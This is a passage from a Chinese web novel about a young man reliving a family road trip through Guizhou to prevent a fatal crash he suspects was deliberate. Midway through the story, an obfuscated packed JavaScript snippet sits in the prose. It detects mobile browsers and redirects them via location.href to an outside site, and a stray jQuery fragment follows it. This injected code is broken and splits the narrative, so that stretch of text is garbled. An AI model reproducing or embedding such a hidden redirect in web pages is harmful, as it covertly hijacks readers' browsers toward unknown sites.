《七日回环》 3. 第一次博弈 一、出发日 2018年6月26日，清晨五点十七分。 贺宴在黑暗中睁开眼睛，第一件事是摸向枕边的手机。屏幕亮起，蓝光照亮他尚未完全清醒的脸庞。 **2018年6月26日星期二05:17** 出发日。 倒计时第五天。 客厅里传来轻微的声响——父亲已经起床了。贺宴听见厨房烧水壶的嗡鸣，冰箱门开合的闷响，还有父亲刻意压低的脚步声。他总是这样，出发旅行前会兴奋得早起，却又怕吵醒家人。 贺宴坐起身，赤脚走到窗边。拉开窗帘一角，天色还是墨蓝色，只有东方地平线透出一丝极淡的鱼肚白。街道空荡荡的，路灯还未熄灭，在晨雾中晕开一圈圈昏黄的光。 这个画面他见过。 在原时间线里，出发日也是这样的清晨。同样的时间，同样的光线，甚至连窗外那辆收垃圾的卡车经过的声音，都分秒不差。 时间仿佛在重复自己。 但这一次，不同了。 贺宴转身走到书桌前，打开台灯，从词典里抽出那张计划表。在第二页底部，他用红笔加了一行字： **“今天目标：1.确认4S店检查结果。2.观察父亲行车状态。3.记录所有偏离原计划的变化。”** 他需要数据。需要知道他的回归到底改变了多少，以及这些改变是否足以影响最终结局。 六点，全家人都起床了。 早餐桌上气氛微妙地兴奋。小雨穿着她新买的粉色运动服，头发扎成高高的马尾，不停问“还有多久出发”。母亲在检查最后一个行李袋，把充电器、纸巾、湿巾塞进侧袋。父亲已经换好了开车要穿的运动装，正在往保温杯里泡茶。 “车我已经预热过了，”父亲说，“等吃完早饭，我们就去4S店，做个出发前的最后检查。” “要多久？”贺宴问。 “快的话半小时。我跟张师傅约好了，他专门留了个工位给我们。” 张师傅是4S店的老技师，父亲的车这几年都在他那里保养。 七点整，全家人上车。 贺宴坐在左后座，系好安全带。这个位置他坐了三年，熟悉座椅的角度，熟悉安全带卡扣的手感，熟悉从后视镜能看到父亲半边脸的角度。 但这一次，每一个细节他都用全新的眼光审视。 车辆启动，引擎发出平稳的低鸣。仪表盘指示灯逐一熄灭，只剩下油表和里程数亮着。父亲挂挡，松手刹，车辆缓缓驶出小区。 早晨的阳光已经爬过楼顶，斜射进车内。贺宴看着阳光在母亲侧脸上移动，照亮她鬓角新生的白发——上个月她才去染过，但发根又白了。 她还活着。还会因为阳光刺眼而微微眯眼，还会因为父亲突然变道而轻呼一声“慢点”，还会转过头问后排的孩子们“要不要喝水”。 她还活着。 这个认知像钝器击中心脏，带来一阵绵长的钝痛。 不是悲伤，是某种更复杂的东西：恐惧混合着庆幸，绝望中掺杂着希望。因为他知道这种“活着”有多脆弱，知道七天后——或者更早——这鲜活的生命可能变成冰冷的尸体。 “小宴，”母亲突然回头，“你把那个袋子递给我一下，蓝色那个。” 贺宴从恍惚中回过神，找到脚边的蓝色布袋递过去。母亲从里面拿出一个小药盒，倒出两颗药片，就着保温杯里的水服下。 “妈，你吃什么药？”他问。 “降压药。”母亲笑笑，“昨天量血压有点高，医生让这几天按时吃。” 降压药。 贺宴脑子里警报响起。在原时间线里，母亲有高血压吗？他努力回想。车祸后的尸检报告……他只看过一次，在极度的崩溃状态下，只记得报告上说“多发性骨折、内脏破裂、颅脑损伤”，没注意有没有提到慢性病。 但如果母亲有高血压，在车祸发生的瞬间，血压骤升可能导致…… 他不敢想下去。 “什么时候开始的？”他尽量让自己的声音听起来只是关心。 “就上个月体检发现的，轻度。”母亲轻描淡写，“没事，吃药控制就好。” 父亲从后视镜看了妻子一眼：“你要不舒服随时说，我们路上多休息。” “知道啦，别大惊小怪的。” 对话到此为止。但贺宴的心却沉了下去。 新变量。母亲的高血压。 在原本的事故中，如果母亲当场死亡是因为撞击导致的严重创伤，那么现在加上高血压这个因素，也许在同样的撞击下，死亡风险会更高。 除非撞击本身不发生。 4S店在城市东郊，二十分钟车程。 张师傅是个五十多岁的老技师，穿着一身沾着机油的工作服，见到他们便笑着迎上来：“贺先生，这么早啊。” “麻烦你了张师傅，出发前想再确认下车况。” “应该的，安全第一。” 车开上升降机。张师傅拿着手电筒和检测电脑，开始系统检查。贺宴跟在一旁，看着车底盘在灯光下暴露无遗：排气管、传动轴、悬挂系统、刹车油管…… “刹车片还有六成，够用。”张师傅一边检查一边说，“轮胎是新换的，胎纹很深。悬挂没问题，减震器状态良好。” 他蹲下来，仔细看底盘某个部位，然后“咦”了一声。 “怎么了？”贺宴的心提了起来。 “这里有点渗油。”张师傅指着变速箱和发动机连接处，“不严重，但最好处理一下。” 渗油。 贺宴迅速回忆。原时间线里，出发前检查有这个问题吗？他不记得了。那天他因为兴奋，根本没仔细看检查过程。 “要紧吗？”父亲问。 “开是能开，但长途的话，万一渗漏加剧……”张师傅沉吟，“我建议处理一下，大概需要两小时。” 两小时。 如果处理，出发时间就要推迟到上午十点以后。行程会被打乱。 “要不算了？”父亲看向贺宴，“你不是担心时间赶吗？” 贺宴的大脑飞速运转。 如果现在说“要处理”，那么出发时间推迟，整个行程的时间节点都会后移。他们经过S107那个弯道的时间也会改变。 但改变是好是坏？他不知道。 也许推迟出发，就能完美避开晚上经过危险路段？也许反而会让他们在更糟糕的时间、更糟糕的路况下经过？ 不确定。 “处理吧。”贺宴最终说，“安全第一。” 他选择最保守的方案。任何可能影响车辆安全的因素，都应该排除。 父亲点点头：“那就处理。张师傅，麻烦你了。” “好嘞，你们去休息室等着，好了我叫你们。” 等待的两个小时里，贺宴在手机备忘录里更新记录： **“变化记录1：出发时间推迟2小时（原计划8:00，现预计10:30）。”** **“变化记录2：发现并处理变速箱轻微渗油问题。”** **“新增变量：母亲有轻度高血压，需服药控制。”** 每一条变化，都可能产生涟漪效应。 休息室里，小雨不耐烦地玩着手机游戏，母亲在翻看旅游杂志，父亲在打电话联系酒店，告知可能晚到。 贺宴走到窗边，看着维修车间里自家的车。张师傅和徒弟正在更换密封垫，动作娴熟。 他的目光落在车身上。 银灰色的金属漆面在日光灯下反射着冷光。这辆车会载着他们走一千多公里，会在某个弯道与另一辆车相撞，会翻滚，会变形，会成为四个人的金属棺材。 除非他改变这一切。 “哥，”小雨走过来，也趴在窗边看，“车坏了是不是就不能去了？” “小问题，修好就能去。” “哦。”小雨沉默了一会儿，突然问，“哥，你是不是不想去？” 贺宴转头看她。十二岁的女孩，眼睛清澈，还没有被成年世界的复杂污染。 “为什么这么问？” “因为你都不笑。”小雨说，“以前说要去玩，你早就在网上查攻略了。这次你好像……很害怕。” 贺宴感到喉咙发紧。他没想到小雨能察觉到这么细微的情绪变化。 “我只是担心路上出事。”他说了部分实话。 “会出什么事？” “车祸，生病，迷路……都有可能。” 小雨想了想，很认真地说：“可是如果因为怕出事就不出去，那不就是被害怕关在家里了吗？” 这话从一个十二岁孩子嘴里说出来，有种天真的深刻。 “而且，”小雨继续说，“爸爸开车很小心，妈妈准备了药，我带了手电筒和哨子，你也一直在担心这担心那。我们做了这么多准备，应该没事的。” 应该没事的。 这句话像回声，在贺宴脑海里重复。 在原时间线里，他们也做了这么多准备，甚至更多。但结局是四个人里只有一个人活下来。 准备不能保证安全，只能提高概率。 而他需要的不是概率，是确定性。 “希望吧。”他最终说。 十点二十分，车修好了。 张师傅在维修单上签字：“好了，密封垫换了，顺便把机油也换了。现在车况很好，跑长途没问题。” 父亲付了钱，一家人重新上车。 这一次，贺宴注意到父亲启动车辆后，特意等了一分钟，让引擎充分预热。他还调整了后视镜角度，确认盲区。 细微的、更谨慎的行为变化。 是因为他的“焦虑”传染给了父亲吗？ 车辆驶出4S店，汇入主干道车流。 真正的旅程开始了。 --- ##二、第一道弯 从城市到高速入口，要经过十二个红绿灯，七个右转，三个左转。 贺宴记得这条路。原时间线里，他记得每一个路口，记得在哪里父亲抱怨过前车开得太慢，记得在哪里小雨指着窗外说“那个楼好高”。 但现在，一切都有些微妙的不同。 第二个红绿灯，原本应该遇到一个穿黄衣服的环卫工人在扫街，今天没有。 第五个右转，原本应该有一辆出租车突然变道插进来，今天那辆出租车老老实实跟在后面。 第七个路口，原本应该是绿灯直接通过，今天变成了黄灯，父亲选择停车等待。 变化。 虽然微小，但确实存在。 贺宴看着手机上的时间：10:42。比原计划通过这个路口的时间晚了三分钟。 三分钟，在市区可能只差一个红绿灯，但在长途旅行中，三分钟可能意味着遇到不同的车、不同的路况、不同的天气。 蝴蝶效应。 他既是那只蝴蝶，也是观察蝴蝶效应的人。 上高速，取卡，驶入匝道。车辆加速，窗外的景色开始快速后退。小雨兴奋地指着远处的山：“看！山！” 那是他们将要穿越的群山中的第一座。此刻在阳光下呈现青灰色，山顶有薄雾缭绕。 美丽，也危险。 “我们第一站是芷江，”父亲看着导航，“大概下午三点能到。午饭在服务区解决，大家有意见吗？” “没意见。”母亲说，“正好尝尝不同服务区的菜。” “我想吃方便面！”小雨举手。 “不行，没营养。”母亲驳回。 小小的争执，熟悉的家庭日常。 贺宴靠在后座上，闭上眼睛。不是困，是在集中精神。 他在回忆。 回忆原时间线里今天发生的一切：中午在哪个服务区吃的饭，吃的什么；下午经过哪个隧道时小雨说耳朵不舒服；晚上到芷江后住哪个酒店，吃的哪家餐厅。 他需要对照。需要知道他的回归改变了多少，以及这些改变是否会累积成足够大的偏移，影响最终的结局。 第一个服务区在十一点半到达。 “在这里休息一下吧，”父亲说，“开了一个多小时了，活动活动。” 车停进车位。贺宴下车，环顾四周。 这个服务区他记得：建筑是仿侗族风雨桥的风格，停车场边上有一排卖土特产的小店，洗手间在左侧，餐厅在二楼。 一切都和记忆里一样。 但细节有出入：原本应该停在最右边那个车位，今天停在了中间；原本应该看到一辆红色的大货车在卸货，今天那辆车不在；原本在餐厅门口应该遇到一个带小孩的家庭，小孩在哭闹，今天没有。 “我去洗手间。”贺宴说。 “我也去。”小雨跟上来。 洗手间里，贺宴站在洗手池前，看着镜子里自己的脸。二十一岁，因为缺乏睡眠而眼圈发黑，眼神里有超越年龄的沉重。 他用冷水拍脸，试图让自己清醒。 必须更系统地记录变化。不能只靠记忆。 他从口袋里拿出一个小笔记本——这是早上特意带的。翻开第一页，他快速写下： **“6月26日，服务区1：** **-停车位置不同（中vs右）** **-红色货车未出现** **-哭泣小孩未出现** **-时间比原记录晚8分钟”** “哥，你在写什么？”小雨从隔间出来，好奇地凑过来。 贺宴合上笔记本：“记点东西。” “记什么？” “路上的见闻。” “哦。”小雨显然不感兴趣，洗了手就往外跑，“我去看看有什么好吃的！” 餐厅里，母亲已经点好了菜：两荤两素一汤。贺宴看了一眼：辣椒炒肉、清蒸鱼、炒青菜、西红柿鸡蛋、紫菜蛋花汤。 和原时间线一样。 他记得这顿饭。记得辣椒炒肉太咸，父亲抱怨了一句；记得小雨把鱼刺吐在纸巾上，堆成一小堆；记得母亲说紫菜汤不够烫。 现在，父亲吃了一口辣椒炒肉，皱眉：“有点咸。” 小雨小心地挑着鱼刺。 母亲喝了一口汤：“汤温的，不够热。” 一模一样。 贺宴感到一阵寒意。 有些东西在变：时间、位置、遇到的人。但有些东西顽固地保持原样：对话、反应、甚至具体的菜品味道。 时间线像一条有弹力的橡皮筋，可以被拉伸、扭曲，但总会试图弹回原本的形状。 饭后继续上路。 贺宴看着窗外飞速后退的景色，大脑在计算。 按照现在的进度，下午三点左右能到芷江。如果一切顺利，明天他们会进入贵州，后天进入云南。那么经过S107那个弯道的时间，大概率是6月28日或29日晚上。 比原定的7月1日提前了两到三天。 这足够避开那辆卡车吗？ 他不知道。因为他不知道那辆卡车6月28日或29日会不会也在那个时间经过。 需要更多信息。 他拿出手机，再次搜索“长河运输公司S107排班”。在颠簸的车里，屏幕上的字有些模糊。但一个帖子引起了他的注意： **“6月28日S107夜班车临时调整通知：因车辆检修，原定28日19:00发车的A-7号车停运，由A-8号车顶替，发车时间改为20:30。”** 发帖时间是6月25日晚上十点，昨天。 贺宴的心脏狂跳起来。 如果原定7月1日的事故车辆是A-7号车（他不确定），那么6月28日A-7号车检修停运，顶替的A-8号车发车时间晚了一个半小时。 这意味着什么？ 如果他们6月28日晚上经过S107，原定应该遇到的卡车在检修，顶替的卡车发车时间晚，可能完美错开？ 不，不对。他们提前出发了，经过时间也会提前。如果他们下午六点就过了那个弯道，那么即使卡车还是原来的时间，也会错开。 变量太多。计算不过来。 “小宴，”母亲回过头，“你一直看手机，晕车吗？” “没有，查点资料。” “别看了，休息一会儿，路还长着呢。” 贺宴收起手机，但大脑停不下来。 他需要更直接的方法。需要知道那辆卡车——无论哪一辆——具体会在什么时间经过那个弯道。 除非他能黑进长河运输公司的调度系统。 或者，有更简单的方法。 一个念头突然浮现：如果事故真的是“意外”，那么无论车辆、时间如何变化，总会有某种“巧合”让两辆车在那个弯道相遇。 但如果……不是意外呢？ 这个想法像冰水浇头，让他浑身一冷。 在原时间线里，他从未怀疑过事故的性质。警察说是意外，保险公司说是事故，所有人都这么说。他也接受了，因为不接受又能怎样？人都死了。 但现在，当他在时间中往返，试图改变过去时，一个可怕的可能性浮现了：如果事故不是意外，而是人为的，那么无论他如何改变行程、改变时间，那个“人为因素”都可能调整计划，确保事故依然发生。 比如，如果有人在他们的车上做了手脚，让刹车在特定时间失灵？ 或者，如果那辆卡车的司机被收买，故意在那个弯道制造事故？ 或者更糟：如果目标不是事故本身，而是他们一家人的死亡？ 贺宴感到呼吸困难。 他看向前座的父亲。贺振国，四十八岁的建筑工程师，性格温和，工作认真，偶尔有点固执，但总的来说是个普通的好人。他会得罪谁到要灭门的地步？ 母亲是小学老师，更不可能有这种仇家。 小雨才十二岁。 他自己，二十一岁的大学生，社交简单。 除非…… 父亲的工作？ 贺宴想起父亲偶尔会提起公司里的“烦心事”：项目竞标失败、同事间的勾心斗角、甲方的无理要求。但都是职场常见的问题，不至于上升到谋杀。 除非父亲无意中知道了什么不该知道的。 或者，阻碍了什么人的利益。 贺宴的大脑在疯狂运转。这个新假设一旦建立，所有的变量都变得不同了。 如果事故是人为的，那么： 1.改变行程可能无效，因为对方会调整计划。 2.改变时间可能无效，因为对方会等待或创造新的时机。 3.唯一有效的，是找出幕后黑手，提前阻止。 但怎么找？他没有线索，没有资源，没有时间。 而且，如果他的怀疑是真的，那么他现在的一举一动，可能也在被观察。如果幕后黑手发现他在试图改变什么，会不会提前行动？ “爸，”贺宴突然开口，“你最近工作上……有没有遇到什么麻烦？” 父亲从后视镜看了他一眼：“怎么突然问这个？” “就是好奇。你们那个新项目顺利吗？” “还行，就是进度有点紧。”父亲顿了顿，“怎么，你想来我们公司实习？” “不是，随便问问。” 母亲插话：“你爸他们公司最近在竞标一个大项目，压力挺大的。不过跟你没关系，别操心。” 大项目。 贺宴记住了这个词。 下午两点四十分，他们到达芷江。 比预计晚了四十分钟，因为中途遇到一次小堵车——一辆货车在高速上抛锚，占用了右侧车道。 这在小堵车在原时间线里没有发生。 又一个变化。 芷江的酒店是提前订好的家庭套房。办入住时，前台小姐微笑着说：“贺先生，您订的是两晚对吧？” 父亲愣了一下：“一晚啊。” “系统显示您预订了两晚，从26号到28号。” 父亲拿出手机查订单确认邮件：“我订的是一晚，你看。” 前台小姐核对后，发现是系统错误。“抱歉抱歉，我给您改成一晚。” 这件小事，在原时间线里也没有发生。 贺宴在一旁记录：**“酒店预订系统错误，多订一晚（已更正）。”** 微小，但确实的变化。 拿到房卡，进房间。套房有一个客厅和两间卧室，父母一间，贺宴和小雨各一张床在另一间。 放下行李，小雨立刻扑到窗边：“哇，能看到江！” 确实，房间在八楼，视野很好，能看到沅江和远处的风雨桥。 “休息一小时，然后我们去吃晚饭，看风雨桥夜景。”父亲说。 贺宴坐在床边，看着窗外。 芷江。这个城市他们原本不会停留这么久，按原计划只是路过吃顿饭。但因为行程调整，他们要在这里住一晚。 新的地点，新的时间，新的变量。 他开始感到一丝希望。 也许，足够多的微小改变，累积起来，真的能改变结局？ 晚饭在一家当地特色的餐馆。酸汤鱼、腊肉炒蕨菜、血粑鸭。味道不错，小雨吃得满嘴是油。 饭后散步去看风雨桥。夜晚的灯光把木结构的桥梁照得通明，倒映在江面上，波光粼粼。桥上有很多游客，拍照的，散步的，买小商品的。 一家人慢慢走着。父亲和母亲走在前面，手牵着手——这个细节贺宴很多年没见过了。小雨蹦蹦跳跳，看什么都新鲜。 贺宴跟在后面，看着他们的背影。 这个画面太美好，美好得不真实。 美好得让他害怕失去。 “哥，快来！”小雨在桥中央招手，“这里拍照好看！” 贺宴走过去。小雨把手机塞给他：“帮我和爸妈拍一张。” 父母站在桥栏边，背后是灯火通明的桥廊。母亲靠在父亲肩上，父亲搂着她的腰，两人都笑得很自然。 小雨挤到他们中间，比了个剪刀手。 “一、二、三——” 咔嚓。 照片定格：三个人，笑容灿烂，背后是温暖的灯光。 贺宴看着手机屏幕，眼眶突然发热。 这张照片在原时间线里不存在。因为原计划里他们没在芷江停留，没有看风雨桥夜景，没有拍这张照片。 这是全新的记忆。 是他创造的。 “我也给你拍一张！”小雨拿回手机。 贺宴站到父母身边。父亲的手臂搭在他肩上，很用力。母亲挽着他的另一只手臂。 “笑一个！”小雨指挥。 贺宴努力想笑，但嘴角像是有千斤重。最后挤出来的，大概是个很奇怪的表情。 咔嚓。 又一张照片。 回到酒店已经九点多。小雨累得洗完澡就睡着了。父母在客厅小声说话，大概是商量明天的行程。 贺宴躺在床上，睁着眼睛看天花板。 第一天行程结束。 他们平安到达芷江，比原计划多停留一天，拍到了原本不会有的照片。 改变在发生。 但够吗？ 他不知道。 他只知道自己像个在黑暗中拆炸弹的人，不知道哪根线是安全的，不知道剪断哪根会导致爆炸。 只能小心翼翼地，一点一点地尝试。 窗外，芷江的夜色宁静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091709|195451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处有隐约的歌声，大概是江边的酒吧。 这个世界还在正常运转，不知道有一个家庭正走在一条可能通向毁灭的路上。 也不知道有一个儿子，正在拼命想把他们拉回来。 夜越来越深。 贺宴终于闭上眼睛。 明天，他们将进入贵州。 倒计时第四天。 --- ##三、山路初现 6月27日，清晨六点半。 贺宴被小雨摇醒：“哥，起床了！今天要去梵净山！” 梵净山。 这个地名像一根针，扎进贺宴的记忆。 在原计划里，他们没有去梵净山。因为时间不够，这个景点被砍掉了。但现在，因为行程调整，父亲决定绕一点路，去梵净山看看。 又一个重大改变。 贺宴坐起来，脑子还没完全清醒：“梵净山？不是不去吗？” “爸说时间够，可以去。”小雨已经换好了衣服，是另一套蓝色运动服，“快起来，吃完早饭就出发！” 早餐在酒店餐厅。自助餐，品种不多，但够吃。贺宴拿了一碗米粉，加了酸豆角和肉末，坐在窗边的位置。 父亲拿着盘子走过来，坐下后说：“我查了，从芷江到梵净山大概三个小时车程。我们上午去，下午爬山，晚上住山脚下，明天再往西走。” “爬梵净山要多久？”母亲问。 “看爬哪条线。如果坐索道上到半山，再爬金顶，大概三四个小时。” “小雨爬得动吗？” “我爬得动！”小雨立刻抗议。 贺宴默默听着。这个新行程完全超出了他的“预知”范围。在原时间线里，今天他们应该已经在贵州境内，往昆明方向走了。根本不会绕到梵净山。 这意味着，从今天开始，他将彻底失去“预知”优势。 之后的每一步，都是未知。 这让他恐惧，但也让他看到希望——因为未知意味着可能避开那场车祸。 “爸，”他开口，“梵净山之后呢？路线怎么走？” 父亲拿出手机，打开地图：“从梵净山出来，我们有两个选择：一是走G56杭瑞高速直接往西，到昆明；二是走S308省道，经过黔东南几个古镇，然后上G60到昆明。” S308。 不是S107。 贺宴的心跳加速：“走S308吧，听说沿途风景好。” 父亲看了他一眼：“但S308弯道多，路况可能不如高速。” “反正不赶时间，慢慢开。” 父亲想了想，点头：“也行，那就走S308。” 又一个改变：路线从高速变成了省道。 这意味着他们可能根本不会经过S107那个致命的弯道。 希望，像黑暗中突然点燃的火柴，虽然微弱，但确实存在。 八点，出发。 车驶出芷江，往西北方向开。天气很好，蓝天白云，阳光透过前挡风玻璃洒进车内，暖洋洋的。 小雨在听歌，戴着耳机，跟着节奏轻轻摇头。母亲在副驾驶打瞌睡，头靠着车窗。父亲专注地开车，偶尔跟着收音机里的新闻哼两句。 一切看起来如此平静。 但贺宴无法放松。 他盯着前方的路，盯着每一辆对向驶来的车，盯着每一个弯道。就像在玩一个极度紧张的游戏，任何一个小失误都可能导致GameOver。 而他的家人，甚至不知道自己在游戏里。 九点半，进入贵州境内。 地貌开始变化。山变得更高，更陡，路开始在群山中蜿蜒。隧道一个接一个，长的有五六公里，短的只有几十米。每次进入隧道，车灯自动亮起，在黑暗的甬道中切割出两道光柱。 “哇，这个隧道好长！”小雨摘下耳机，看着隧道壁上飞速后退的灯带。 “这是雪峰山隧道，全长七公里。”父亲说，“贵州很多这样的长隧道。” 贺宴记得这个隧道。在原时间线里，他们也经过了这里，但时间是明天，而不是今天。 时间在偏移。 十一点，到达梵净山景区停车场。 比预计晚了半小时，因为途中遇到一起小事故——一辆小车追尾了货车，占用了半边车道，堵了二十分钟。 又一个原时间线里没有的事件。 停车，买票，坐景区大巴到索道站。 梵净山以奇特的蘑菇石和金顶闻名。索道缓缓上升，脚下的森林越来越远，山峦在视野中展开。小雨兴奋地拍照，母亲有点恐高，紧紧抓着座椅扶手。 贺宴看着窗外。 这是全新的体验。在原时间线里，他没有坐过这条索道，没有看过这样的景色。 改变在积累。 下索道后，开始爬山。通往金顶的路很陡，有些地方几乎是垂直的阶梯，要拉着铁链才能上去。父亲体力好，走在最前面。母亲有些吃力，贺宴和小雨陪着她，慢慢爬。 “妈，你行吗？”贺宴问。 “行，慢慢来。”母亲喘着气，但笑容很坚定，“来都来了，一定要上金顶。” 爬了一个多小时，到达蘑菇石。巨大的岩石立在悬崖边，像一朵蘑菇，又像一本立着的书。很多游客在拍照。 “我们来合影！”父亲提议。 一家人在蘑菇石前站好，请旁边的游客帮忙拍照。 “一、二、三——” 又一次全家福。 贺宴看着镜头，这次他真的笑了。虽然心里还压着沉重的负担，但在这个瞬间，看着家人都好好的，他感到一丝真实的喜悦。 拍完照，继续往金顶爬。 最后的阶梯最陡，几乎要手脚并用。小雨爬得最快，把大人都甩在后面。 “小雨，慢点！”母亲喊。 “我没事！” 到达金顶时，已经下午两点。 站在海拔两千多米的山顶，视野无比开阔。云海在脚下翻滚，远处的山峦像海中的岛屿。风很大，吹得人几乎站不稳。 “太美了！”小雨张开双臂，像是要拥抱整个天空。 父亲搂着母亲的肩，两人静静看着远方。 贺宴站在他们身边，风吹乱他的头发。 在这一刻，他几乎要相信，命运真的可以改变。他们来到了一个原本不会来的地方，创造了一段全新的记忆。那条通向死亡的路，也许真的可以被避开。 但下一秒，恐惧又回来了。 因为改变越大，未知就越多。而未知中可能藏着比既定结局更可怕的危险。 下山比上山快。四点多回到停车场，大家都累坏了。 “今晚住山脚下的民宿，我已经订好了。”父亲说，“明天睡到自然醒，然后慢慢往西走。” 民宿是木质结构的吊脚楼，很有民族特色。房间在二楼，窗户正对着山。 晚饭在民宿的餐厅吃，简单的农家菜。吃饭时，父亲接到了电话。 “喂，李总……对，我在外面旅游……什么？批文没下来？……怎么会这样？我们不是都谈好了吗？……” 父亲的脸色越来越凝重。 贺宴竖起耳朵听。 “……行，我知道了。我明天打电话给王局问问……好，先这样。” 挂断电话，父亲叹了口气。 “怎么了？”母亲问。 “公司那个项目，环保批文卡住了。”父亲揉着太阳穴，“明明上周还说没问题，今天突然说材料不全，要补。” “要紧吗？” “要紧。批文下不来，项目就不能开工，每天都是钱在烧。”父亲摇头，“这些政府部门，办事效率真是……” 贺宴小心地问：“是什么项目？” “一个工业园区的污水处理厂。”父亲说，“我们公司中标的，总投资两个多亿。我负责技术部分。” 污水处理厂。 贺宴脑子里闪过什么。他记得父亲公司确实有个大项目，但具体是什么，他以前没关心过。 “环保批文怎么会卡住？”母亲问。 “谁知道。可能哪个环节没打点好，或者竞争对手使绊子。”父亲苦笑，“这种事多了，习惯了。” 竞争对手。 这个词在贺宴心里敲响了警钟。 如果是竞争对手使绊子，那么手段可能包括阻挠批文、散布谣言、甚至商业间谍。 但会到谋杀的地步吗？ 他不确定。 晚饭后，父亲去阳台打电话，大概是跟同事商量对策。贺宴在房间里，打开手机搜索父亲公司的信息。 振华建筑工程有限公司，本地中型企业，主要承接市政工程。最近中标的项目是“黔州工业园区污水处理厂及配套管网建设项目”，中标金额2.3亿，工期18个月。 竞争对手有几家，其中一家叫“宏达建设”，是本地最大的建筑公司，据说背景很深。 贺宴继续搜宏达建设的信息。新闻不少：质量获奖、慈善捐款、领导视察。看起来是正规企业。 但他注意到一条不起眼的旧闻：三年前，宏达建设的一个项目经理因为行贿被调查，后来不了了之。 还有一条：去年，宏达在竞标一个学校项目时，被曝出围标串标，最后被罚款，但项目还是给他们做了。 不算干净。 但仅凭这些，无法证明什么。 贺宴关掉手机，走到窗边。 夜色中的梵净山只剩下黑色的剪影，像一头沉睡的巨兽。 明天，他们将走S308省道，往西进入云南。 那条路他完全不熟悉，没有任何“预知”。 真正的未知之旅。 而父亲公司项目的麻烦，像一片阴云，悬在头顶。 他不知道这两件事有没有关联。 但直觉告诉他：有。 夜风吹进来，带着山间的凉意。 贺宴站了很久，直到父亲打完电话回来。 “还不睡？”父亲问。 “马上睡。爸，那个项目……很麻烦吗？” 父亲看了他一眼，笑了笑：“别担心，我能处理。你好好玩你的。” “如果……如果有人因为这个项目，想对你不利呢？” 父亲愣住了，随即大笑：“你想什么呢？商业竞争而已，又不是□□。顶多是使点小手段，不至于。” “万一呢？” 父亲的表情严肃了些：“小宴，你是不是看了什么不该看的？或者听到什么了？” “没有，就是担心。” “别瞎担心。”父亲拍拍他的肩，“你爸我做了这么多年工程，什么牛鬼蛇神没见过？都是小打小闹，出不了大事。” 说完，他转身进了卫生间洗漱。 贺宴站在原地，看着父亲的背影。 父亲相信世界是讲规则的。商业竞争有商业竞争的规则，再怎么激烈，也不会超出底线。 但贺宴知道，有些人是没有底线的。 在原时间线里，四条人命，就是证明。 如果那场车祸真的是人为的，那么幕后黑手已经证明了自己没有底线。 而现在，父亲对此一无所知。 贺宴握紧拳头。 他必须保护他们。 无论对手是谁，无论有多难。 夜深了。 民宿的灯一盏盏熄灭。 山里的夜晚格外安静，只有虫鸣和远处溪流的声音。 贺宴躺在床上，听着小雨均匀的呼吸声。 明天。 倒计时第三天。 他们将走上一条完全未知的路。 而他，要在黑暗中摸索出一条生路。 4. 迷雾中的轮廓 一、S308，初遇阴影 6月28日清晨，梵净山脚下的雾气还未散尽。 贺宴在民宿木质走廊上醒来——他根本没进房间睡。昨晚父亲那句“出不了大事”像一根刺扎在心里，他整夜坐在走廊长椅上，看着山影从漆黑到灰蓝，再到被晨光勾勒出轮廓。 手里攥着那张已写满三页的计划表。在“变量记录”一栏，他新添了几行： “父亲公司项目遇阻（环保批文卡壳） “竞争对手：宏达建设（背景存疑） “今日路线：S308省道（全新路段，无预知）” 无预知。 这三个字像悬在头顶的利剑。从今天起，他彻底失去了“先知”的优势。前方的每一条弯道、每一辆对向车、每一处路况，都是未知数。 “哥，你怎么睡在这儿？”小雨揉着眼睛从房间出来。 “屋里闷。”贺宴迅速收起笔记本，站起身时腿有些麻，“今天要赶路，你东西收好了吗？” “收好啦。”小雨凑过来，压低声音，“你昨晚是不是又做噩梦了？” 贺宴看着她清澈的眼睛，突然想告诉她一切：告诉她七天后他们会死，告诉他这趟旅行是走向坟场，告诉她自己是从地狱爬回来救他们的。 但他不能。 “没事。”他最终说，“快去洗脸，吃完早饭出发。” 早餐是民宿提供的米粉和煮鸡蛋。父亲看起来有些疲惫，眼下有淡淡的青黑，显然昨晚也没睡好。他一边剥鸡蛋一边看手机，眉头紧锁。 “爸，项目的事很麻烦吗？”贺宴试探着问。 “有点。”父亲没有抬头，“李总早上又打电话了，说环保局那边口径突然收紧，可能要重新做环评报告。” “重新做要多久？” “至少一个月。”父亲把鸡蛋整个塞进嘴里，含糊地说，“工期等不起，违约金每天六位数。” 母亲担忧地看着他：“要不要提前回去处理？” “不用。”父亲摆摆手，终于放下手机，“出来玩就好好玩，工作的事回去再说。” 但他的表情出卖了他——那是一种强装轻松的紧绷。 八点半，出发。 车驶离梵净山景区，沿着盘山公路下行。雾气在山谷间流动，像白色的河流。能见度时好时坏，父亲打开了雾灯，车速放得很慢。 “今天走S308，”父亲看着导航，“大概下午四点能到镇远，我们在那儿住一晚。” 镇远。 贺宴记得这个地名。在原本的行程里，他们不会去镇远，而是直接到贵阳。又一个改变。 车在蜿蜒的山路上行驶了一个多小时，九点五十分，终于汇入S308省道。 这是一条典型的山区公路：双向两车道，路面不算宽，但沥青铺得很平整。左侧是陡峭的山壁，右侧是深深的河谷，有些路段有护栏，有些没有。弯道一个接一个，像没有尽头的螺旋。 父亲开得很谨慎，每个弯道前都鸣笛示意。对向车辆不多，偶尔有几辆本地牌照的小货车慢吞吞地驶过。 贺宴坐在后座，身体微微前倾，眼睛死死盯着前方。每一个弯道，他都想象着那辆蓝色卡车突然出现的画面；每一次鸣笛，他都感觉心脏要跳出胸腔。 “哥，你干嘛这么紧张？”小雨终于忍不住问。 “山路危险。”贺宴简短地回答。 “爸开得很慢啊。” “慢也不一定安全。” 父亲从后视镜看了他一眼：“小宴，放松点。这条路我查过了，车流量小，只要开慢点，没问题。” 贺宴没有接话。他知道父亲说得对——在“正常情况”下，这条路确实不算危险。但问题在于，他们面对的可能不是“正常情况”。 